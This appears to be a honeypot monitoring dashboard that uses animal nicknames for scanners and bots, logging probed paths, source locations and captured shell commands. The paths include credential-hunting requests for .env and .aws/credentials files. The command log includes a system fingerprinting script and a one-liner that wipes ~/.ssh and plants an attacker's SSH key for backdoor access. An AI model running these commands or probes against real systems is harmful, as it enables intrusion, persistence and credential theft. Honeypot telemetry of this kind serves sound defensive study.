Wildlife reserve status
253 sightings today
Apex threshold
100
Global Animal Totals
| Bear | 201 |
| Curious Monkey | 42 |
| Recon Eagle | 4 |
| WordPress Badger | 4 |
| Config Fox | 2 |
Global Location Totals
| Frankfurt am Main, Hesse, DE | 122 |
| Amsterdam, North Holland, NL | 38 |
| Toronto, Ontario, CA | 31 |
| Approx. Cheney, US | 28 |
| Montreal, Quebec, CA | 6 |
| Columbus, Ohio, US | 3 |
| Hillsboro, Oregon, US | 2 |
| Kyiv, Kyiv City, UA | 2 |
| Clifton, New Jersey, US | 2 |
| Approx. Zagorje ob Savi, SI | 2 |
| North Bergen, New Jersey, US | 2 |
| Approx. Kyiv, UA | 2 |
| Ashburn, Virginia, US | 2 |
| Approx. Kassel, DE | 2 |
| Charlotte, North Carolina, US | 2 |
| Approx. Paris, FR | 1 |
| Atlanta, Georgia, US | 1 |
| Berlin, State of Berlin, DE | 1 |
| Brussels, Brussels Capital, BE | 1 |
| Helsinki, Uusimaa, FI | 1 |
| Luxembourg, Luxembourg, LU | 1 |
| Santa Clara, California, US | 1 |
Top Species
| Bear | 201 |
| Curious Monkey | 42 |
| Recon Eagle | 4 |
| WordPress Badger | 4 |
| Config Fox | 2 |
Top Paths
| / | 57 |
| /.env | 8 |
| /info.php | 7 |
| /debug/default/view | 6 |
| /graphql | 6 |
| /server | 6 |
| /.well-known/security.txt | 6 |
| /about | 6 |
| /actuator/env | 6 |
| /v2/_catalog | 6 |
| /config.json | 6 |
| /___proxy_subdomain_whm/login | 6 |
| /login.action | 6 |
| /.vscode/sftp.json | 6 |
| /api/gql | 6 |
| /server-status | 6 |
| /console/ | 6 |
| /trace.axd | 6 |
| /.git/config | 6 |
| /___proxy_subdomain_cpanel | 6 |
| /@vite/env | 6 |
| /.DS_Store | 6 |
| /telescope/requests | 6 |
| /api/graphql | 6 |
| /api | 6 |
| /graphql/api | 6 |
| /ecp/Current/exporttool/microsoft.exchange.ediscovery.exporttool.application | 6 |
| /robots.txt | 3 |
| /s/330323e29353e21323e2430313/_/;/META-INF/maven/com.atlassian.jira/jira-webapp-dist/pom.properties | 3 |
| /s/533313e2338313e27363e2237313/_/;/META-INF/maven/com.atlassian.jira/jira-webapp-dist/pom.properties | 3 |
| /_internal/api/setup.php | 2 |
| /_profiler/phpinfo.php | 1 |
| /info | 1 |
| /config/.env | 1 |
| /phpinfo.php | 1 |
| /.aws/credentials | 1 |
| /wp-login.php | 1 |
| /setup/ | 1 |
| /php_info.php | 1 |
| /.rt/verify | 1 |
| /set_captcha_validated.php | 1 |
| /api/.aws/credentials | 1 |
| /open/ | 1 |
| /assets/js/telegram_redirect.js | 1 |
| /aws/credentials.yml | 1 |
| /aws/credentials | 1 |
| /_profiler/phpinfo | 1 |
| /config/.aws/credentials | 1 |
| /s3/.aws/credentials | 1 |
| /admin | 1 |
| /phpinfo | 1 |
| /api/ | 1 |
| /backup/.aws/credentials | 1 |
| /~/.aws/credentials | 1 |
| /open/visitors/info/gets | 1 |
| /wp-admin | 1 |
| /pms | 1 |
Top Usernames
| No attempts | 0 |
Top Passwords
| No attempts | 0 |
Recent Activity
| Last | Method | Path | Geo | Species | Count |
|---|---|---|---|---|---|
| 02:35:22 | GET | /robots.txt | Columbus, Ohio, US | π¦ | 2 |
| 02:20:32 | GET | / | Approx. Cheney, US | π» | 3 |
| 02:20:30 | GET | /info.php | Approx. Cheney, US | π» | 1 |
| 02:20:27 | GET | /php_info.php | Approx. Cheney, US | π» | 1 |
| 02:20:25 | GET | /info | Approx. Cheney, US | π» | 1 |
| 02:20:23 | GET | /_profiler/phpinfo | Approx. Cheney, US | π» | 1 |
| 02:20:20 | GET | /_profiler/phpinfo.php | Approx. Cheney, US | π» | 1 |
| 02:20:18 | GET | /phpinfo | Approx. Cheney, US | π» | 1 |
| 02:20:15 | GET | /phpinfo.php | Approx. Cheney, US | π» | 1 |
| 02:19:42 | GET | /config/.env | Approx. Cheney, US | π» | 1 |
| 02:19:39 | GET | /.env | Approx. Cheney, US | π» | 1 |
| 02:19:34 | GET | /~/.aws/credentials | Approx. Cheney, US | π» | 1 |
| 02:19:31 | GET | /config/.aws/credentials | Approx. Cheney, US | π» | 1 |
| 02:19:29 | GET | /api/.aws/credentials | Approx. Cheney, US | π» | 1 |
| 02:19:27 | GET | /s3/.aws/credentials | Approx. Cheney, US | π» | 1 |
| 02:19:24 | GET | /backup/.aws/credentials | Approx. Cheney, US | π» | 1 |
| 02:19:22 | GET | /aws/credentials.yml | Approx. Cheney, US | π» | 1 |
| 02:19:20 | GET | /aws/credentials | Approx. Cheney, US | π» | 1 |
| 02:19:17 | GET | /pms | Approx. Cheney, US | π» | 1 |
| 02:19:14 | GET | /.aws/credentials | Approx. Cheney, US | π» | 1 |
| 02:00:41 | GET | /open/ | Approx. Cheney, US | π | 1 |
| 02:00:41 | GET | /open/visitors/info/gets | Approx. Cheney, US | π | 1 |
| 02:00:41 | GET | / | Approx. Cheney, US | π | 5 |
| 01:24:46 | GET | / | Brussels, Brussels Capital, BE | π | 1 |
| 01:16:32 | GET | / | Columbus, Ohio, US | π¦ | 1 |
| 01:13:39 | GET | / | Approx. Kassel, DE | π | 2 |
| 01:12:54 | GET | / | Kyiv, Kyiv City, UA | π | 2 |
| 01:12:52 | GET | / | Approx. Kyiv, UA | π | 2 |
| 01:10:10 | GET | / | Charlotte, North Carolina, US | π | 2 |
| 01:09:50 | GET | / | Santa Clara, California, US | π | 1 |
| 01:03:44 | GET | / | Helsinki, Uusimaa, FI | π | 1 |
| 01:02:05 | GET | / | Luxembourg, Luxembourg, LU | π | 1 |
| 01:01:27 | GET | / | Amsterdam, North Holland, NL | π | 1 |
| 00:49:21 | GET | /api/ | Amsterdam, North Holland, NL | π | 1 |
| 00:49:21 | GET | /set_captcha_validated.php | Amsterdam, North Holland, NL | π | 1 |
| 00:49:21 | POST | /.rt/verify | Amsterdam, North Holland, NL | π | 1 |
| 00:49:21 | POST | /_internal/api/setup.php | Amsterdam, North Holland, NL | π | 2 |
| 00:49:21 | GET | /setup/ | Amsterdam, North Holland, NL | π | 1 |
| 00:49:21 | GET | /assets/js/telegram_redirect.js | Amsterdam, North Holland, NL | π | 1 |
| 00:37:17 | GET | /robots.txt | Atlanta, Georgia, US | π¦ | 1 |
| 00:33:44 | GET | / | Approx. Paris, FR | π | 1 |
| 00:13:39 | GET | / | Hillsboro, Oregon, US | π | 2 |
| 00:07:47 | GET | / | Ashburn, Virginia, US | π | 2 |
| 00:06:59 | GET | /admin | Montreal, Quebec, CA | π | 1 |
| 00:06:58 | GET | / | Montreal, Quebec, CA | π | 1 |
| 00:05:49 | GET | / | Berlin, State of Berlin, DE | π | 1 |
| 00:05:38 | GET | /wp-login.php | Montreal, Quebec, CA | 𦑠| 1 |
| 00:05:38 | GET | / | Montreal, Quebec, CA | 𦑠| 2 |
| 00:05:15 | GET | / | North Bergen, New Jersey, US | π | 2 |
| 00:04:17 | GET | /wp-admin | Montreal, Quebec, CA | 𦑠| 1 |
| 00:02:31 | GET | /.env | Approx. Zagorje ob Savi, SI | π¦ | 1 |
| 00:02:31 | GET | / | Approx. Zagorje ob Savi, SI | π¦ | 1 |
| 00:01:42 | GET | /debug/default/view | Toronto, Ontario, CA | π» | 1 |
| 00:01:42 | GET | /debug/default/view | Frankfurt am Main, Hesse, DE | π» | 4 |
| 00:01:42 | GET | /debug/default/view | Amsterdam, North Holland, NL | π» | 1 |
| 00:01:41 | GET | / | Toronto, Ontario, CA | π» | 3 |
| 00:01:41 | GET | / | Frankfurt am Main, Hesse, DE | π» | 12 |
| 00:01:41 | GET | / | Amsterdam, North Holland, NL | π» | 3 |
| 00:01:39 | GET | /.vscode/sftp.json | Toronto, Ontario, CA | π» | 1 |
| 00:01:39 | GET | /.vscode/sftp.json | Frankfurt am Main, Hesse, DE | π» | 4 |
| 00:01:39 | GET | /.vscode/sftp.json | Amsterdam, North Holland, NL | π» | 1 |
| 00:01:38 | GET | /@vite/env | Toronto, Ontario, CA | π» | 1 |
| 00:01:38 | GET | /@vite/env | Frankfurt am Main, Hesse, DE | π» | 4 |
| 00:01:38 | GET | /@vite/env | Amsterdam, North Holland, NL | π» | 1 |
| 00:01:37 | GET | /trace.axd | Toronto, Ontario, CA | π» | 1 |
| 00:01:37 | GET | /trace.axd | Frankfurt am Main, Hesse, DE | π» | 4 |
| 00:01:37 | GET | /trace.axd | Amsterdam, North Holland, NL | π» | 1 |
| 00:01:36 | GET | /actuator/env | Frankfurt am Main, Hesse, DE | π» | 4 |
| 00:01:36 | GET | /actuator/env | Toronto, Ontario, CA | π» | 1 |
| 00:01:36 | GET | /actuator/env | Amsterdam, North Holland, NL | π» | 1 |
| 00:01:35 | GET | /.well-known/security.txt | Toronto, Ontario, CA | π» | 1 |
| 00:01:35 | GET | /.well-known/security.txt | Frankfurt am Main, Hesse, DE | π» | 4 |
| 00:01:35 | GET | /.well-known/security.txt | Amsterdam, North Holland, NL | π» | 1 |
| 00:01:34 | GET | /info.php | Toronto, Ontario, CA | π» | 1 |
| 00:01:34 | GET | /info.php | Frankfurt am Main, Hesse, DE | π» | 4 |
| 00:01:34 | GET | /telescope/requests | Frankfurt am Main, Hesse, DE | π» | 4 |
| 00:01:34 | GET | /telescope/requests | Toronto, Ontario, CA | π» | 1 |
| 00:01:34 | GET | /info.php | Amsterdam, North Holland, NL | π» | 1 |
| 00:01:34 | GET | /telescope/requests | Amsterdam, North Holland, NL | π» | 1 |
| 00:01:32 | GET | /config.json | Frankfurt am Main, Hesse, DE | π» | 4 |
| 00:01:32 | GET | /config.json | Toronto, Ontario, CA | π» | 1 |
| 00:01:32 | GET | /config.json | Amsterdam, North Holland, NL | π» | 1 |
| 00:01:31 | GET | /s/533313e2338313e27363e2237313/_/;/META-INF/maven/com.atlassian.jira/jira-webapp-dist/pom.properties | Frankfurt am Main, Hesse, DE | π» | 2 |
| 00:01:31 | GET | /s/330323e29353e21323e2430313/_/;/META-INF/maven/com.atlassian.jira/jira-webapp-dist/pom.properties | Toronto, Ontario, CA | π» | 1 |
| 00:01:31 | GET | /s/330323e29353e21323e2430313/_/;/META-INF/maven/com.atlassian.jira/jira-webapp-dist/pom.properties | Frankfurt am Main, Hesse, DE | π» | 2 |
| 00:01:31 | GET | /s/533313e2338313e27363e2237313/_/;/META-INF/maven/com.atlassian.jira/jira-webapp-dist/pom.properties | Amsterdam, North Holland, NL | π» | 1 |
| 00:01:31 | POST | /api/gql | Toronto, Ontario, CA | π» | 1 |
| 00:01:31 | POST | /graphql/api | Toronto, Ontario, CA | π» | 1 |
| 00:01:31 | POST | /api/gql | Frankfurt am Main, Hesse, DE | π» | 4 |
| 00:01:31 | POST | /api/graphql | Toronto, Ontario, CA | π» | 1 |
| 00:01:30 | POST | /api | Toronto, Ontario, CA | π» | 1 |
| 00:01:30 | POST | /graphql/api | Frankfurt am Main, Hesse, DE | π» | 4 |
| 00:01:30 | POST | /graphql | Toronto, Ontario, CA | π» | 1 |
| 00:01:30 | POST | /api/graphql | Frankfurt am Main, Hesse, DE | π» | 4 |
| 00:01:30 | POST | /api/gql | Amsterdam, North Holland, NL | π» | 1 |
| 00:01:30 | POST | /api | Frankfurt am Main, Hesse, DE | π» | 4 |
| 00:01:30 | POST | /graphql/api | Amsterdam, North Holland, NL | π» | 1 |
| 00:01:30 | POST | /graphql | Frankfurt am Main, Hesse, DE | π» | 4 |
| 00:01:30 | POST | /api/graphql | Amsterdam, North Holland, NL | π» | 1 |
| 00:01:30 | POST | /api | Amsterdam, North Holland, NL | π» | 1 |
| 00:01:30 | POST | /graphql | Amsterdam, North Holland, NL | π» | 1 |
| 00:01:29 | GET | /.git/config | Frankfurt am Main, Hesse, DE | π» | 4 |
| 00:01:29 | GET | /.git/config | Toronto, Ontario, CA | π» | 1 |
| 00:01:29 | GET | /.git/config | Amsterdam, North Holland, NL | π» | 1 |
| 00:01:27 | GET | /ecp/Current/exporttool/microsoft.exchange.ediscovery.exporttool.application | Frankfurt am Main, Hesse, DE | π» | 4 |
| 00:01:27 | GET | /ecp/Current/exporttool/microsoft.exchange.ediscovery.exporttool.application | Toronto, Ontario, CA | π» | 1 |
| 00:01:27 | GET | /ecp/Current/exporttool/microsoft.exchange.ediscovery.exporttool.application | Amsterdam, North Holland, NL | π» | 1 |
| 00:01:25 | GET | /.env | Frankfurt am Main, Hesse, DE | π» | 4 |
| 00:01:25 | GET | /.env | Toronto, Ontario, CA | π» | 1 |
| 00:01:25 | GET | /.env | Amsterdam, North Holland, NL | π» | 1 |
| 00:01:24 | GET | /.DS_Store | Toronto, Ontario, CA | π» | 1 |
| 00:01:24 | GET | /.DS_Store | Frankfurt am Main, Hesse, DE | π» | 4 |
| 00:01:24 | GET | /.DS_Store | Amsterdam, North Holland, NL | π» | 1 |
| 00:01:23 | GET | /v2/_catalog | Frankfurt am Main, Hesse, DE | π» | 4 |
| 00:01:23 | GET | /v2/_catalog | Toronto, Ontario, CA | π» | 1 |
| 00:01:23 | GET | /___proxy_subdomain_cpanel | Frankfurt am Main, Hesse, DE | π» | 4 |
| 00:01:23 | GET | /___proxy_subdomain_cpanel | Toronto, Ontario, CA | π» | 1 |
| 00:01:23 | GET | /___proxy_subdomain_whm/login | Frankfurt am Main, Hesse, DE | π» | 4 |
| 00:01:23 | GET | /v2/_catalog | Amsterdam, North Holland, NL | π» | 1 |
| 00:01:23 | GET | /___proxy_subdomain_cpanel | Amsterdam, North Holland, NL | π» | 1 |
| 00:01:23 | GET | /___proxy_subdomain_whm/login | Toronto, Ontario, CA | π» | 1 |
| 00:01:23 | GET | /___proxy_subdomain_whm/login | Amsterdam, North Holland, NL | π» | 1 |
| 00:01:22 | GET | /login.action | Frankfurt am Main, Hesse, DE | π» | 4 |
| 00:01:22 | GET | /login.action | Toronto, Ontario, CA | π» | 1 |
| 00:01:21 | GET | /login.action | Amsterdam, North Holland, NL | π» | 1 |
| 00:01:21 | GET | /about | Frankfurt am Main, Hesse, DE | π» | 4 |
| 00:01:21 | GET | /about | Toronto, Ontario, CA | π» | 1 |
| 00:01:21 | GET | /about | Amsterdam, North Holland, NL | π» | 1 |
| 00:01:19 | GET | /server-status | Toronto, Ontario, CA | π» | 1 |
| 00:01:19 | GET | /server-status | Frankfurt am Main, Hesse, DE | π» | 4 |
| 00:01:19 | GET | /server-status | Amsterdam, North Holland, NL | π» | 1 |
| 00:01:18 | GET | /server | Frankfurt am Main, Hesse, DE | π» | 4 |
| 00:01:18 | GET | /server | Toronto, Ontario, CA | π» | 1 |
| 00:01:18 | GET | /server | Amsterdam, North Holland, NL | π» | 1 |
| 00:01:17 | GET | /console/ | Toronto, Ontario, CA | π» | 1 |
| 00:01:17 | GET | /console/ | Frankfurt am Main, Hesse, DE | π» | 4 |
| 00:01:17 | GET | /console/ | Amsterdam, North Holland, NL | π» | 1 |
| 00:01:16 | GET | / | Toronto, Ontario, CA | π | 1 |
| 00:01:16 | GET | / | Clifton, New Jersey, US | π | 2 |
| 00:01:16 | GET | / | Frankfurt am Main, Hesse, DE | π | 2 |
Interesting Visitors
| Visitor | Geo | Species | Score | Requests |
|---|---|---|---|---|
| 821e4f4c | Approx. Granari, RO | Shell Ferret | 15,654 | 0 |
| 9030dfc6 | Approx. UEskuedar, TR | Credential Badger | 12,327 | 0 |
| edb29eee | Hsinchu County, TW | Shell Ferret | 39 | 0 |
| bf941468 | MjΓΆlby, ΓstergΓΆtland County, SE | Shell Ferret | 26 | 0 |
| 97ef92b8 | Approx. Cheney, US | Bear | 137 | 57 |
| b65182d7 | Stockholm, Stockholm County, SE | Shell Ferret | 17,334 | 0 |
| 3d9e1bef | Amsterdam, North Holland, NL | Curious Monkey | 156 | 0 |
| d70e41dc | Approx. Zhengzhou, CN | Credential Badger | 681 | 0 |
| 5174885b | Approx. Moscow, RU | Shell Ferret | 2,367 | 0 |
| 3b088366 | Tbilisi, Tbilisi, GE | Credential Badger | 165 | 0 |
| 62d8ad32 | Approx. Granari, RO | Shell Ferret | 15,321 | 0 |
| a6ab2781 | Approx. Tehran, IR | Credential Badger | 49 | 0 |
| 2e7cd58d | Approx. Zhengzhou, CN | Credential Badger | 126 | 0 |
| 67a8e064 | Approx. Granari, RO | Credential Badger | 14,613 | 0 |
| a4167d9c | Approx. Moscow, RU | Shell Ferret | 158 | 0 |
| e5669402 | MonterΓa, Departamento de CΓ³rdoba, CO | Shell Ferret | 26 | 0 |
| f3687e5c | Taichung, Taichung City, TW | Shell Ferret | 182 | 0 |
| 644e5329 | Approx. Aberdeen, HK | Shell Ferret | 74 | 0 |
| b09fbba6 | SaarbrΓΌcken, Saarland, DE | Credential Badger | 1,854 | 0 |
| d0972099 | Approx. Puli, TW | Shell Ferret | 81 | 0 |
| 128f0cbc | Taipei, Taipei City, TW | Shell Ferret | 39 | 0 |
| ccadb527 | Approx. Zhengzhou, CN | Shell Ferret | 42 | 0 |
| 454d093c | Approx. Sofia, BG | Shell Ferret | 3,040 | 0 |
| 723baf3c | Amsterdam, North Holland, NL | Shell Ferret | 50,944 | 0 |
| b97e7828 | MZ | Shell Ferret | 258 | 0 |
| 22ab95f9 | Approx. Sofia, BG | Credential Badger | 30,566 | 0 |
| 4b863043 | Amsterdam, North Holland, NL | Credential Badger | 4,738 | 0 |
| 044f999f | Depok, West Java, ID | Credential Badger | 6,020 | 0 |
| 20ddb298 | Columbus, Ohio, US | Shell Ferret | 217 | 0 |
| 99554758 | Approx. Cascade, SC | Shell Ferret | 2,428 | 0 |
| 4c2650f0 | Toronto, Ontario, CA | Bear | 230 | 150 |
| 5be01fe0 | Frankfurt am Main, Hesse, DE | Bear | 184 | 120 |
| db2db761 | Amsterdam, North Holland, NL | Bear | 46 | 30 |
| d4b01402 | Frankfurt am Main, Hesse, DE | Bear | 184 | 120 |
| c6c53888 | Frankfurt am Main, Hesse, DE | Bear | 184 | 120 |
| a07db98b | Frankfurt am Main, Hesse, DE | Bear | 138 | 90 |
Compressed File Requests
| Last | Path | Location | Species | Count |
|---|---|---|---|---|
| No compressed file requests yet | ||||
Active Sessions
| No active SSH sessions |
Top Commands
| /usr/bin/uname -s -v -n -m 2 > /dev/null | 38 |
| busybox uname -s -v -n -m 2 > /dev/null | 38 |
| head -1 /proc/version | cut -d -f1 ) | 38 |
| uname -s -v -n -m 2 > /dev/null | 38 |
| /bin/uname -s -v -n -m 2 > /dev/null | 38 |
| export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '"' ) || echo ""); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q "lm" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 8" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 7" /proc/cpuinfo && echo armv7l ) || echo ""); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null); cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E "^model name" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E "^Hardware" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\n' 2>/dev/null || busybox tr -d '\n' 2>/dev/null || cat ); printf '\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\n' 2>/dev/null || busybox tr -d '\n' 2>/dev/null || cat ); printf '\n'; printf 'execute_err='; out=$(bash -c 'printf "#!/bin/bash\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case "$out" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf "#!/bin/bash\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case "$out" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf "#!/bin/bash\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case "$out" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf "#!/bin/sh\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf "#!/bin/sh\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' "$out" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\n' 2>/dev/null || busybox tr -d '\n' 2>/dev/null || cat ); printf '\n'; echo '===DONE===' ) 2>&1 ); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "LAST:$last_output"; echo "FILTER:$filter_output" | 38 |
| ( [ -f /etc/os-release ] | 38 |
| [ -f /etc/os-release ] | 38 |
| ( [ -f /proc/version ] | 38 |
| [ -f /proc/version ] | 38 |
| cd ~; chattr -ia .ssh; lockr -ia .ssh | 12 |
| cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ | 12 |
| lockr -ia .ssh | 12 |
Trophy Room
| 723baf3c | Shell Ferret | 50,944 |
| 22ab95f9 | Credential Badger | 30,566 |
| b65182d7 | Shell Ferret | 17,334 |
| 821e4f4c | Shell Ferret | 15,654 |
| 62d8ad32 | Shell Ferret | 15,321 |
| 67a8e064 | Credential Badger | 14,613 |
| 9030dfc6 | Credential Badger | 12,327 |
| 044f999f | Credential Badger | 6,020 |
| 4b863043 | Credential Badger | 4,738 |
| 454d093c | Shell Ferret | 3,040 |
| 99554758 | Shell Ferret | 2,428 |
| 5174885b | Shell Ferret | 2,367 |
| b09fbba6 | Credential Badger | 1,854 |
| d70e41dc | Credential Badger | 681 |
| b97e7828 | Shell Ferret | 258 |
| 4c2650f0 | Bear | 230 |
| 20ddb298 | Shell Ferret | 217 |
| d4b01402 | Bear | 184 |
| c6c53888 | Bear | 184 |
| 5be01fe0 | Bear | 184 |
| f3687e5c | Shell Ferret | 182 |
| 3b088366 | Credential Badger | 165 |
| a4167d9c | Shell Ferret | 158 |
| 3d9e1bef | Curious Monkey | 156 |
| a07db98b | Bear | 138 |
| 97ef92b8 | Bear | 137 |
| 2e7cd58d | Credential Badger | 126 |
| d0972099 | Shell Ferret | 81 |
| 644e5329 | Shell Ferret | 74 |